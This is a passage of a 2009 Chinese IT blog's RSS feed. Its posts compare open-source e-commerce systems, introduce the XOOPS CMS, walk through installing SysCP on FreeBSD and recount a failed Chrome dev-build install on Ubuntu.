<p>对于开源的系统最大的优点当然是免费，而且可以根据自己的需要选择插件，以适应自己的需要。但有一个前提，目前国内很多年谓开源的商城系统其实是要收费。其中都有一个条款就是大意是不能用于商业用途，作为电子商务软件不用于商业用途又能有什么用？真的用来学习编程吗？但国外的这几款开源的网店系统却真的是免费的，可以用于建设你的独立网店而无需付费。</p>
<p>以下是对多款开源网店的性能与各种参数进行一系列的对比，希望各位从中可以选出适合自己的网店系统。ECShop作为国内商城系统的代表也列入其中以作比较。(以下表格内容来源自网络收集)</p>
<p>从各软件特性分析</p>
<p><span id="more-1232"></span> </p>
<p>（中文语言、授权方式、系统功能、搜索引擎、模板、用户数量)</p>
<p>软件名称</p>
<p>Magento</p>
<p>ECShop</p>
<p>osCommerce</p>
<p>Zen Cart</p>
<p>Freeway</p>
<p>中文语言</p>
<p>支持繁体中文</p>
<p>支持</p>
<p>支持</p>
<p>支持</p>
<p>不支持</p>
<p>授权方式</p>
<p>OPL 协议 免费</p>
<p>GPL 协议 付费</p>
<p>GPL 协议免费</p>
<p>GPL 协议 免费</p>
<p>GPL 协议 免费</p>
<p>系统性能</p>
<p>速度中等</p>
<p>速度中等</p>
<p>速度中等</p>
<p>速度快</p>
<p>速度快</p>
<p>搜索引擎</p>
<p>优</p>
<p>优</p>
<p>优</p>
<p>中</p>
<p>弱</p>
<p>模版</p>
<p>模板数量多</p>
<p>界面颜色丰富</p>
<p>模板数量多</p>
<p>界面颜色丰富</p>
<p>模块数量中等</p>
<p>界面颜色丰富</p>
<p>模块数量中等</p>
<p>界面颜色丰富</p>
<p>模板数量偏少</p>
<p>界面颜色较少</p>
<p>用户数量</p>
<p>国内中等</p>
<p>国外最多</p>
<p>国内最多</p>
<p>国外少</p>
<p>国内中等</p>
<p>国外较多</p>
<p>国内较少</p>
<p>国外最多</p>
<p>国内少</p>
<p>国外较多</p>
<p>从各软件功能分析</p>
<p>（购物车、商品管理、商品属性、订单处理、促销、支付接口、运输、报表统计、广告管理、CMS）</p>
<p>功能<br />
	magento<br />
  	Ecshop<br />
  	Oscommerce<br />
  	Zen cart<br />
  	Freeway</p>
<p>购物车</p>
<p>可不注册会员购买</p>
<p>必须注册会员才可购买</p>
<p>可不注册会员购买</p>
<p>可不注册会员购买</p>
<p>可不注册会员购买</p>
<p>商品管理</p>
<p>商品评论、</p>
<p>属性控制、</p>
<p>标签管理 、</p>
<p>商品库存、</p>
<p>商品图片、</p>
<p>制造厂商、商品评论、</p>
<p>特价商品、商品预告、</p>
<p>商品回收站、商品批量上传修改</p>
<p>生成商品代码、比商品自动上下架</p>
<p>标签管理、图片批量处理等、</p>
<p>制造厂商</p>
<p>商品评论</p>
<p>特价商品</p>
<p>商品预告</p>
<p>商品分类</p>
<p>商品分类、商品类型、价格管理</p>
<p>选项名称、选项内容、属性控制</p>
<p>下载管理、厂商管理、评论管理</p>
<p>特价商品、推荐管理、促销商品</p>
<p>即将上市商品、快速更新等、</p>
<p>商品类型、价格管理、</p>
<p>选项名称、厂商管理、</p>
<p>商品评论</p>
<p>商品属性</p>
<p>商品类型、属性分组，</p>
<p>商品排序</p>
<p>商品类型、属性分组</p>
<p>属性值的录入方式、可选值列表</p>
<p>商品排序</p>
<p>商品类型、</p>
<p>属性分组、</p>
<p>商品类型、属性分组，</p>
<p>属性值的录入方式、</p>
<p>可选值列表、商品排序</p>
<p>商品类型、</p>
<p>属性分类（如：厂商）</p>
<p>订单处理</p>
<p>订单列表、订单查询、</p>
<p>合并订单、添加订单、</p>
<p>订单列表、订单查询、</p>
<p>合并订单、订单打印</p>
<p>缺货登记、添加订单、</p>
<p>订单查询</p>
<p>缺货登记</p>
<p>添加订单等</p>
<p>订单查询、合并订单、</p>
<p>订单打印、添加订单、等</p>
<p>订单查询、订单打印、</p>
<p>添加订单、等</p>
<p>促销</p>
<p>优惠券、</p>
<p>商品价格优惠百分比、</p>
<p>固定金额优惠、</p>
<p>整个购物车固定金额优惠</p>
<p>夺宝奇兵、红包类型</p>
<p>商品包装、祝福贺卡、</p>
<p>团购活动、专题管理、</p>
<p>拍卖活动、优惠活动、等</p>
<p>按订购总额折扣优惠、</p>
<p>按具体产品订购量折扣优惠</p>
<p>优惠券、</p>
<p>优惠活动（特价商品）</p>
<p>免费赠品、批量优惠、</p>
<p>暂无</p>
<p>支付接口</p>
<p>（都添加插件，自选支付接口）</p>
<p>Paypal 贝宝、</p>
<p>支付宝、网银在线等多种支付方式</p>
<p>Paypal 贝宝、</p>
<p>网银在线、支付宝、</p>
<p>QQ 财富通等十多种支付网关</p>
<p>环迅 IPS 、收汇Ctopay  </p>
<p>网银在线     、 NPS 支付</p>
<p>    支付宝 等</p>
<p>支付宝、快钱、网银在线、</p>
<p>贝宝、 iePay 、 NPS 、</p>
<p>环讯 IPS 、电信支付、首信</p>
<p>iePay 、网银在线、</p>
<p>等多种支付方式</p>
<p>运输</p>
<p>快递（ UPS ）、</p>
<p>平邮、 EMS 、</p>
<p>上门取货、 EMS 、</p>
<p>平邮、运费到付、</p>
<p>邮政挂号印刷品</p>
<p>快递、平邮、</p>
<p>EMS 、等</p>
<p>快递、平邮、（联合邮政 UPS 、美国邮政 UPS 、） EMS</p>
<p>快递、平邮、 EMS 、等</p>
<p>报表</p>
<p>( 统计 )</p>
<p>销售统计、</p>
<p>客户统计、</p>
<p>搜索引擎、</p>
<p>流量统计</p>
<p>评论统计</p>
<p>流量分析、客户统计、</p>
<p>销售统计、会员排行统计、</p>
<p>搜索引擎、销售排行统计、</p>
<p>搜索引擎、站外投放 JS</p>
<p>流量分析、客户统计</p>
<p>销售统计</p>
<p>客户购买排行榜</p>
<p>访问统计、销售统计、</p>
<p>订单统计、商品库存、</p>
<p>客户推荐、销售分析、</p>
<p>待付订单、现金统计、</p>
<p>访问统计、</p>
<p>订单统计、</p>
<p>客户统计、</p>
<p>销售统计</p>
<p>广告管理</p>
<p>无</p>
<p>广告列表、广告位置</p>
<p>显示广告，广告横幅</p>
<p>广告组别、广告排序、广告显示状态、</p>
<p>无</p>
<p>CMS</p>
<p>(内容管理系统)</p>
<p>支持</p>
<p>不支持</p>
<p>不支持</p>
<p>不支持</p>
<p>支持</p>
<p>GNU自由文档许可证（GNU Free Documentation License）是一个版权所无（或称“反版权”）的内容开放的版权协议。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1232.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>功能强大的CMS&#8211;XOOPS简介与评述.</title>
		<link>http://www.evanjiang.net.cn/archives/1199.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1199.html#comments</comments>
		<pubDate>Fri, 19 Jun 2009 04:52:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1199</guid>
		<description><![CDATA[<p>笔者注：
前段时间，用xoops来建了一个男士网，网址为：http://www.hunttech.com.cn ，是使用xoops来建，在建设的过程，由对xoops的一无所知，到男士网建成后，对XOOPS的有所熟悉。个人认为。xoops真的一个很好的，定制性很强的cms系统。值得一用。下面，是俺从网上找的关于cms-xoops 的一些简介与详述。有兴趣者，可以到相关网站认真阅读。</p>
<p>利用 PHP＋MySQL 编写的面向对象的可扩展智能建站门户系统:
XOOPS 作为开源社区一个优秀的内容管理系统，自它面世起就一直受到人们的关注。其主要特征包括系统功能模块化，界面设计模板化，安装使用管理简洁明了，功能完善。
相对于其他 CMS，XOOPS 有完善的权限管理，可以对不同用户群组赋予不同的使用或管理权限。XOOPS 代码规范，注重安全性，极少被发现有安全漏洞；结构设计合理，易于作二次开发。作为理想的开发系统，被广泛用于个人网站、社区交流、公司企业以及各类大型门户系统。
XOOPS 社区开发活跃，各类功能模块可有不同选择，包括：新闻发布系统、文章管理、论坛、相册、资源下载、友情链接、广告/黄页管理、在线购物等传统模块，近来并有各种新型类别如 BLOG、WIKI、RSS 在线阅读/采集等。
作为一个功能强大的 CMS 系统，得益于其结构设计合理，XOOPS 除了本身的各类功能模块之外，可以很方便的集成现有的软件，比著名的 BLOG 程序 WORDPRESS、购物系统 OSCOMMERCE/ZEN-CART、图片管理程序 GALLERY等已经被集成到 XOOPS 中。</p>
<p>XOOPS 的发布按照 GPL (GNU General Public License) 协议，在遵守GPL条款的前提下可以在任何场合免费使用和修改。</p>
<p>英文官方网站：http://www.xoops.org
中文官方网站：http://xoops.org.cn
英文开发网站：http://dev.xoops.org
中文开发网站：http://dev.xoops.org.cn </p>
<p>XOOPS 的发展:
XOOPS 源自于PHPNUKE/MYPHPNUKE，2002年１月发布1.0 RC，从2.0开始采用 SMARTY模板。

XOOPS开发者主要来自原来的PHPNUKE社区，主要的创始者:
Kazumi Ono (onokazu) http://www.myweb.ne.jp http://www.xoops.org http://jp.xoops.org
Goghs Cheng (goghs) http://www.eqiao.com http://www.bizbeez.com
自从2004年初开始，XOOPS的开发更加活跃，核心程序的开发在SourceForge.NET，模块开发主要集中于 XOOPS DEV FORGE．另有大大小小不计其数的开发团队或个人，比较著名的有日本XOOPS社区(特别是一些安全专家也一直参与XOOPS的开发和改进)，WF-PROJECTS，以及Predator的开发团队等．</p>
<p>XOOPS由于界面设计的局限性，模板风格一致不如人意，但是漂亮的主题风格依然层出不穷．比较著名的设计团队有maclinks, 7dana, aston, incama以及日本的设计人员． </p>
<p>XOOPS 示例
XOOPS 能实现什么功能，做什么样的网站？</p>
<p>这是每个新用户在开始接触XOOPS时的第一个问题．这里列出几个实例，希望能有所启发</p>
<p>中文网站:</p>
<p>国外网站:
Mobile Marketing Association: http://mmaglobal.com
Novell [...]]]></description>
			<content:encoded><![CDATA[<p>笔者注：<br />
前段时间，用xoops来建了一个男士网，网址为：http://www.hunttech.com.cn ，是使用xoops来建，在建设的过程，由对xoops的一无所知，到男士网建成后，对XOOPS的有所熟悉。个人认为。xoops真的一个很好的，定制性很强的cms系统。值得一用。下面，是俺从网上找的关于cms-xoops 的一些简介与详述。有兴趣者，可以到相关网站认真阅读。</p>
<p>利用 PHP＋MySQL 编写的面向对象的可扩展智能建站门户系统:<br />
XOOPS 作为开源社区一个优秀的内容管理系统，自它面世起就一直受到人们的关注。其主要特征包括系统功能模块化，界面设计模板化，安装使用管理简洁明了，功能完善。<br />
相对于其他 CMS，XOOPS 有完善的权限管理，可以对不同用户群组赋予不同的使用或管理权限。XOOPS 代码规范，注重安全性，极少被发现有安全漏洞；结构设计合理，易于作二次开发。作为理想的开发系统，被广泛用于个人网站、社区交流、公司企业以及各类大型门户系统。<br />
XOOPS 社区开发活跃，各类功能模块可有不同选择，包括：新闻发布系统、文章管理、论坛、相册、资源下载、友情链接、广告/黄页管理、在线购物等传统模块，近来并有各种新型类别如 BLOG、WIKI、RSS 在线阅读/采集等。<br />
作为一个功能强大的 CMS 系统，得益于其结构设计合理，XOOPS 除了本身的各类功能模块之外，可以很方便的集成现有的软件，比著名的 BLOG 程序 WORDPRESS、购物系统 OSCOMMERCE/ZEN-CART、图片管理程序 GALLERY等已经被集成到 XOOPS 中。</p>
<p>XOOPS 的发布按照 GPL (GNU General Public License) 协议，在遵守GPL条款的前提下可以在任何场合免费使用和修改。</p>
<p>英文官方网站：http://www.xoops.org<br />
中文官方网站：http://xoops.org.cn<br />
英文开发网站：http://dev.xoops.org<br />
中文开发网站：http://dev.xoops.org.cn </p>
<p>XOOPS 的发展:<br />
XOOPS 源自于PHPNUKE/MYPHPNUKE，2002年１月发布1.0 RC，从2.0开始采用 SMARTY模板。<br />
<span id="more-1199"></span><br />
XOOPS开发者主要来自原来的PHPNUKE社区，主要的创始者:<br />
Kazumi Ono (onokazu) http://www.myweb.ne.jp http://www.xoops.org http://jp.xoops.org<br />
Goghs Cheng (goghs) http://www.eqiao.com http://www.bizbeez.com<br />
自从2004年初开始，XOOPS的开发更加活跃，核心程序的开发在SourceForge.NET，模块开发主要集中于 XOOPS DEV FORGE．另有大大小小不计其数的开发团队或个人，比较著名的有日本XOOPS社区(特别是一些安全专家也一直参与XOOPS的开发和改进)，WF-PROJECTS，以及Predator的开发团队等．</p>
<p>XOOPS由于界面设计的局限性，模板风格一致不如人意，但是漂亮的主题风格依然层出不穷．比较著名的设计团队有maclinks, 7dana, aston, incama以及日本的设计人员． </p>
<p>XOOPS 示例<br />
XOOPS 能实现什么功能，做什么样的网站？</p>
<p>这是每个新用户在开始接触XOOPS时的第一个问题．这里列出几个实例，希望能有所启发</p>
<p>中文网站:</p>
<p>国外网站:<br />
Mobile Marketing Association: http://mmaglobal.com<br />
Novell Forge 开发站：http://forge.novell.com<br />
The Fantasy Asylum site：http://www.fantasyasylum.com<br />
fyn.dk：http://www.fyn.dk<br />
NABUUR Foundation：http://www.nabuur.com </p>
<p>XOOPS 系统需求:<br />
HTTP服务器：APACHE或IIS (XOOPS推荐使用APACHE，对IIS不做保证)<br />
PHP 4.10以上，推荐4.11以上；从XOOPS 2.09开始支持 PHP 5.x<br />
数据库：MySQL 3.23 以上<br />
其它推荐设置 GD2.+或ImageMagicK，XML，MB 多字节扩展支持，CURL等</p>
<p>XOOPS 支持:<br />
如果您的英语读写能力可以，可以经常访问XOOPS英文官方站．特别是如果对XOOPS开发的进展比较感兴趣，您可以访问这几个站点<br />
XOOPS DEV FORGE: http://dev.xoops.org<br />
XOOPS FORGE: http://sourceforge.net/projects/xoops<br />
XOOPS CVS: http://cvs.sourceforge.net/viewcvs.py/xoops<br />
如果您在XOOPS的安装或使用过程中遇到什么问题，可以在XOOPS CHINA文档中心查找相关资料并在技术论坛向支持团队或其他</p>
<p>XOOPS用户提出您的问题:<br />
请尽量不要直接跟支持团队成员联系，尽可能在论坛交流，一来可以避免对团队成员的过多干扰，二来通过您与其他用户的问答，可以将自己的经验或教训与XOOPS社区共享</p>
<p>XOOPS 下载:<br />
XOOPS CHINA下载中心提供当前最新的XOOPS程序汉化和大部分XOOPS模块的汉化和修正以及主题风格．</p>
<p>分类： </p>
<p>XOOPS核心代码：提供XOOPS核心程序的汉化及HACK<br />
推荐模块：经过XOOPS CHINA支持团队基本核实的模块，一般BUG和安全漏洞比较少<br />
XOOPS模块：XOOPS用户开发或汉化的模块<br />
XOOPS 电子商务模块:XOSC、XZC、XTC 购物模块及相关功能扩展模块<br />
XOOPS风格模板：可在　http://dev.xoops.org.cn 看到演示<br />
期待着您把自己开发或汉化的模块和设计的XOOPS模板提交到下载中心：http://xoops.org.cn/modules/wfdownloads</p>
<p>XOOPS 文档:<br />
经过XOOPS CHINA支持团队和热心用户的工作，目前有 XOOPS 中文文档：<br />
XOOPS 入门<br />
XOOPS 简介<br />
XOOPS 操作指南<br />
XOOPS 进展<br />
通过XOOPS CHINA新闻中心，您可以了解到XOOPS最新开发进展和社区动态．在XOOPS china (http://xoops.org.cn)，您可以注册并与中文开发者交流，了解中文社区的开发，并提供您的建议．</p>
<p>如果您不能经常访问XOOPS CHINA，您可以使用XMLine这个模块远程阅读XOOPS聚合新闻：<br />
XOOPS CHINA 新闻：http://xoops.org.cn/backend.php<br />
论坛最新讨论：http://xoops.org.cn/modules/newbb/rss.php<br />
XOOPS BLOG: http://xoops.org.cn/modules/wordpress/wp-rss.php<br />
XOOPS CHINA 介绍<br />
XOOPS CHINA 为 XOOPS 官方中文站，提供 XOOPS 安装、使用和开发的各项技术支持．</p>
<p>技术支持:<br />
XOOPS 作为开源社区的一员，取之于众，报之于众．我们真诚希望能一如既往得到各界的支持和帮助．<br />
XOOPS 社区一直寻求熟悉或精通PHP/MySQL或LINUX的朋友对XOOPS开发提供您的建议或咨询，特别希望安全界高手能够帮助我们检查修正XOOPS存在的安全问题，并诚挚的欢迎你加入XOOPS CHINA团队.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1199.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD下安装SysCP主机管理系统</title>
		<link>http://www.evanjiang.net.cn/archives/1197.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1197.html#comments</comments>
		<pubDate>Fri, 19 Jun 2009 04:45:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1197</guid>
		<description><![CDATA[<p>实施环境：FreeBSD 7 Beta 1.5 AMD64位，CD光盘。采用Mini安装，允许SSH。</p>
<p>1、添加FreeBSD的Ports包更新工具CVSUP
pkg_add -r cvsup-without-gui</p>
<p>2、添加FreeBSD的bash
pkg_add -r bash</p>
<p>3、修改以下文件的CHANGE_THIS.FREEBSD.ORG为cvsup.freebsdchina.org（位于第49行）
/usr/share/examples/cvsup/ports-supfile
/usr/share/examples/cvsup/www-supfile
/usr/share/examples/cvsup/stable-supfile</p>
<p>4、重启后更新系统
cvsup -g -L 2 /usr/share/examples/cvsup/ports-supfile
cvsup -g -L 2 /usr/share/examples/cvsup/www-supfile
cvsup -g -L 2 /usr/share/examples/cvsup/stable-supfile</p>
<p>5、开始安装SYSCP
cd /usr/ports/sysutils/syscp
make all install clean</p>
<p>对话框Options for apache 2.2.6_2
[X] MYSQL                 Enable MySQL support for apr-dbd
[X] AUTH_BASIC     [...]]]></description>
			<content:encoded><![CDATA[<p>实施环境：FreeBSD 7 Beta 1.5 AMD64位，CD光盘。采用Mini安装，允许SSH。</p>
<p>1、添加FreeBSD的Ports包更新工具CVSUP<br />
pkg_add -r cvsup-without-gui</p>
<p>2、添加FreeBSD的bash<br />
pkg_add -r bash</p>
<p>3、修改以下文件的CHANGE_THIS.FREEBSD.ORG为cvsup.freebsdchina.org（位于第49行）<br />
/usr/share/examples/cvsup/ports-supfile<br />
/usr/share/examples/cvsup/www-supfile<br />
/usr/share/examples/cvsup/stable-supfile</p>
<p>4、重启后更新系统<br />
cvsup -g -L 2 /usr/share/examples/cvsup/ports-supfile<br />
cvsup -g -L 2 /usr/share/examples/cvsup/www-supfile<br />
cvsup -g -L 2 /usr/share/examples/cvsup/stable-supfile</p>
<p>5、开始安装SYSCP<br />
cd /usr/ports/sysutils/syscp<br />
make all install clean</p>
<p>对话框Options for apache 2.2.6_2<br />
[X] MYSQL                 Enable MySQL support for apr-dbd<br />
[X] AUTH_BASIC            Enable mod_auth_basic<br />
[X] AUTH_DIGEST           Enable mod_auth_digest<br />
[X] AUTHN_FILE            Enable mod_authn_file<br />
[X] AUTHN_DBD             Enable mod_authn_dbd<br />
[X] AUTHN_DBM             Enable mod_authn_dbm<br />
[X] AUTHN_ANON            Enable mod_authn_anon<br />
[X] AUTHN_DEFAULT         Enable mod_authn_default<br />
[X] AUTHN_ALIAS           Enable mod_authn_alias<br />
[X] AUTHZ_HOST            Enable mod_authz_host<br />
[X] AUTHZ_GROUPFILE       Enable mod_authz_groupfile<br />
[X] AUTHZ_USER            Enable mod_authz_user<br />
[X] AUTHZ_DBM             Enable mod_authz_dbm<br />
[X] AUTHZ_OWNER           Enable mod_authz_owner<br />
[X] AUTHZ_DEFAULT         Enable mod_authz_default<br />
[X] CACHE                 Enable mod_cache<br />
[X] DISK_CACHE            Enable mod_disk_cache<br />
[X] FILE_CACHE            Enable mod_file_cache<br />
[X] DAV                   Enable mod_dav<br />
[X] DAV_FS                Enable mod_dav_fs<br />
[X] ACTIONS               Enable mod_actions<br />
[X] ALIAS                 Enable mod_alias<br />
[X] ASIS                  Enable mod_asis<br />
[X] AUTOINDEX             Enable mod_autoindex<br />
[X] CERN_META             Enable mod_cern_meta<br />
[X] CGI                   Enable mod_cgi<br />
[X] CHARSET_LITE          Enable mod_charset_lite<br />
[X] DBD                   Enable mod_dbd<br />
[X] DEFLATE               Enable mod_deflate<br />
[X] DIR                   Enable mod_dir<br />
[X] DUMPIO                Enable mod_dumpio<br />
[X] ENV                   Enable mod_env<br />
[X] EXPIRES               Enable mod_expires<br />
[X] HEADERS               Enable mod_headers<br />
[X] IMAGEMAP              Enable mod_imagemapx<br />
[X] INCLUDE               Enable mod_include<br />
[X] INFO                  Enable mod_info<br />
[X] LOG_CONFIG            Enable mod_log_config<br />
[X] LOGIO                 Enable mod_logio<br />
[X] MIME                  Enable mod_mime<br />
[X] MIME_MAGIC            Enable mod_mime_magic<br />
[X] NEGOTIATION           Enable mod_negotiation<br />
[X] REWRITE               Enable mod_rewrite<br />
[X] SETENVIF              Enable mod_setenvif<br />
[X] SPELING               Enable mod_speling<br />
[X] STATUS                Enable mod_status<br />
[X] UNIQUE_ID             Enable mod_unique_id<br />
[X] USERDIR               Enable mod_userdir<br />
[X] USERTRACK             Enable mod_usertrack<br />
[X] VHOST_ALIAS           Enable mod_vhost_alias<br />
[X] FILTER                Enable mod_filter<br />
[X] VERSION               Enable mod_version<br />
[X] SSL                   Enable mod_ss</p>
<p>对话框Options for dovecot 1.0.7选择<br />
[X] KQUEUE    kqueue(2) support<br />
[X] SSL       SSL support<br />
[X] IPV6      IPv6 support<br />
[X] POP3      POP3 support<br />
[X] LDA       LDA support<br />
[X] MYSQL     MySQL support<br />
[X] SQLITE    SQLite support<br />
<span id="more-1197"></span><br />
对话框Options for postfix 2.4.6,1，选择<br />
[X] PCRE      Perl Compatible Regular Expressions<br />
[X] DOVECOT   Dovecot SASL authentication method<br />
[X] BDB       Berkeley DB (choose version with WITH_BDB_VER)<br />
[X] MYSQL     MySQL maps (choose version with WITH_MYSQL_VER)<br />
[X] VDA       VDA (Virtual Delivery Agent) </p>
<p>You need user &#8220;postfix&#8221; added to group &#8220;mail&#8221;.<br />
Would you like me to add it [y]? Y</p>
<p>Would you like to activate Postfix in /etc/mail/mailer.conf [n]? y</p>
<p>选择Options for proftpd-mysql 1.3.1_1<br />
[X] MYSQL            Use MySQL<br />
[X] OPENSSL          Include mod_tls<br />
[X] QUOTA            Include mod_quota<br />
[X] IFSESSION        Include mod_ifsession<br />
[X] README           Include mod_readme<br />
[X] RATIO            Include mod_ratio<br />
[X] REWRITE          Include mod_rewrite<br />
[X] WRAP             Include mod_wrap2<br />
[X] RADIUS           Include mod_radius</p>
<p>选项 Options for gd 2.0.35,1<br />
[X] ICONV       iconv support </p>
<p>对话框Options for php5 5.2.4_1<br />
[X] CLI        Build CLI version<br />
[X] CGI        Build CGI version<br />
[X] APACHE     Build Apache module<br />
[X] SUHOSIN    Enable Suhosin protection system (not for jails)<br />
[X] MULTIBYTE Enable zend multibyte support<br />
[X] FASTCGI    Enable fastcgi support (CGI only)<br />
[X] PATHINFO   Enable path-info-check support (CGI only)</p>
<p>//对话框Options for php5 5.2.4_1，我选择：<br />
[X] CLI        Build CLI version<br />
[X] CGI        Build CGI version<br />
[X] APACHE     Build Apache module<br />
[X] SUHOSIN    Enable Suhosin protection system (not for jails)<br />
[X] MULTIBYTE Enable zend multibyte support<br />
[X] FASTCGI    Enable fastcgi support (CGI only)<br />
[X] PATHINFO   Enable path-info-check support (CGI only) </p>
<p>6、创建并编辑/usr/local/etc/apache22/Includes/aliases.conf<br />
ee /usr/local/etc/apache22/Includes/aliases.conf<br />
<IfModule alias_module><br />
   Alias /syscp &#8220;/usr/local/www/syscp/&#8221;<br />
   <Directory "/usr/local/www/syscp"><br />
      AllowOverride None<br />
   </Directory><br />
</IfModule></p>
<p>7、修改/usr/local/etc/apache2/httpd.conf<br />
ee /usr/local/etc/apache2/httpd.conf<br />
添加：<br />
AddType application/x-httpd-php .php<br />
AddType application/x-httpd-php-source .phps</p>
<p>7、重新加载Apache配置<br />
/usr/local/sbin/apachectl graceful</p>
<p>8、编辑/etc.rc.conf<br />
apache22_enable=&#8221;YES&#8221;<br />
mysql_enable=&#8221;YES&#8221;<br />
named_enable=&#8221;YES&#8221;<br />
dovecot_enable=&#8221;YES&#8221;<br />
postfix_enable=&#8221;YES&#8221;<br />
proftpd_enable=&#8221;YES&#8221;</p>
<p>9、完成配置，重启后就可以进入http://您的IP/syscp管理系统</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1197.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>今天尝试在ubuntu9.04安装chrome for linux，但不成功</title>
		<link>http://www.evanjiang.net.cn/archives/1190.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1190.html#comments</comments>
		<pubDate>Thu, 11 Jun 2009 15:10:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1190</guid>
		<description><![CDATA[<p>今天心血来潮，想试试鲜。想试试google 的浏览器chrome for linux版本。因为俺在ms xp时，经常用chrome ，个人认为蛮好用的。比其它基于ie内核的浏览器少了许多插件。干净很多，所以，就想着在俺平时用的工作平台ubuntu 安装个chrome ,虽然，俺ubuntu 办公平台已经装有firefox ,opera 已经通过wine 安装的ie6.但始终这些浏览器始终不如在ms xp系统用得顺手流畅，所以。就想着安装个chrome 试试。。
刚开始，俺还是用firefox打开google,搜索一下chrome for linux ，所以，主流的技术门户网站都有下载，于是，俺就选择sina的下载版块来下载chrome for linux ，毕竟俺对sina在技术方面的名声还是信任的。。。俺发觉大部份网站提供chrome for linux 下载时，都是这些说明：</p>
<p>来自Chromium Blog的消息，为了从开发者那里得到更多反馈，Chromium在developer Channel放出Google Chrome For Mac/Linux。但是如果你不是开发者就不要下载此版本，此次放出的版本不完整，有不可预见的错误，会经常崩溃。</p>
<p>此版本不可改变隐私设置，改变默认的搜索引擎，不可打印页面，不可观看视频等等，仅仅推荐开发者下载研究使用。</p>
<p>下载:Chrome for Mac Dev
下载:google-chrome-unstable_current_i386.deb
下载:google-chrome-unstable_current_amd64.deb

可以看出，这些技术门户网站都是互相转载的。那么俺就手快快地选择第二项来下载。。。俺没有看清这段说明。如果，俺认真看清这段说明，俺不会这么冲动这么急安装chrome for linux 的。。








下载完。俺就习惯双击下载在桌面的google-chrome-unstable_cureent_i386.deb  ，安装过程很顺利，没遇到什么报错。。。。安装完，那俺就很自然打开 应用程序下面的internet 下面的google chrome 发觉，这个版本的chrome ，打开什么网页都报错。。。可以看到网页标题，可以说明，chrome 是已经正常捕取网站的网页内容，只是不能正常显示，显然是这个版本的chrome 少了对某些网站特效或者网页JS脚本的支持。致使网页不能正常中打开。。。。。。。
遇到这种问题，俺习惯性在网上搜索相关内容，希望可以得到相关提示，可以解决这个问题，令chrome 可以正常使用。。。但搜索未果。。。事后，俺再认真看下载说明，才留意到这是开发版本。。。。根本不能正常使用的正式版。。。俺折腾了一会，发觉还是无法让CHROME正常工作。没办法，只好放弃。。。








不能使用，那俺就想着将这个chrome 删除，但发觉用dpkg -r 都不能删除，用新立德也不行。。用apt-get remove 也不行。。。看来，只能直接删除/opt/chrome 才行。俺担心，这样删除可能对系统有安全隐患，就没有这样删除，想着，先这样放着吧。。待以后chrome for linux 正式版出来后。才考虑如何解决吧。。。</p>
]]></description>
			<content:encoded><![CDATA[<p>今天心血来潮，想试试鲜。想试试google 的浏览器chrome for linux版本。因为俺在ms xp时，经常用chrome ，个人认为蛮好用的。比其它基于ie内核的浏览器少了许多插件。干净很多，所以，就想着在俺平时用的工作平台ubuntu 安装个chrome ,虽然，俺ubuntu 办公平台已经装有firefox ,opera 已经通过wine 安装的ie6.但始终这些浏览器始终不如在ms xp系统用得顺手流畅，所以。就想着安装个chrome 试试。。<br />
刚开始，俺还是用firefox打开google,搜索一下chrome for linux ，所以，主流的技术门户网站都有下载，于是，俺就选择sina的下载版块来下载chrome for linux ，毕竟俺对sina在技术方面的名声还是信任的。。。俺发觉大部份网站提供chrome for linux 下载时，都是这些说明：</p>
<p>来自Chromium Blog的消息，为了从开发者那里得到更多反馈，Chromium在developer Channel放出Google Chrome For Mac/Linux。但是如果你不是开发者就不要下载此版本，此次放出的版本不完整，有不可预见的错误，会经常崩溃。</p>
<p>此版本不可改变隐私设置，改变默认的搜索引擎，不可打印页面，不可观看视频等等，仅仅推荐开发者下载研究使用。</p>
<p>下载:Chrome for Mac Dev<br />
下载:google-chrome-unstable_current_i386.deb<br />
下载:google-chrome-unstable_current_amd64.deb<br />
<span id="more-1190"></span><br />
可以看出，这些技术门户网站都是互相转载的。那么俺就手快快地选择第二项来下载。。。俺没有看清这段说明。如果，俺认真看清这段说明，俺不会这么冲动这么急安装chrome for linux 的。。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
下载完。俺就习惯双击下载在桌面的google-chrome-unstable_cureent_i386.deb  ，安装过程很顺利，没遇到什么报错。。。。安装完，那俺就很自然打开 应用程序下面的internet 下面的google chrome 发觉，这个版本的chrome ，打开什么网页都报错。。。可以看到网页标题，可以说明，chrome 是已经正常捕取网站的网页内容，只是不能正常显示，显然是这个版本的chrome 少了对某些网站特效或者网页JS脚本的支持。致使网页不能正常中打开。。。。。。。<br />
遇到这种问题，俺习惯性在网上搜索相关内容，希望可以得到相关提示，可以解决这个问题，令chrome 可以正常使用。。。但搜索未果。。。事后，俺再认真看下载说明，才留意到这是开发版本。。。。根本不能正常使用的正式版。。。俺折腾了一会，发觉还是无法让CHROME正常工作。没办法，只好放弃。。。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
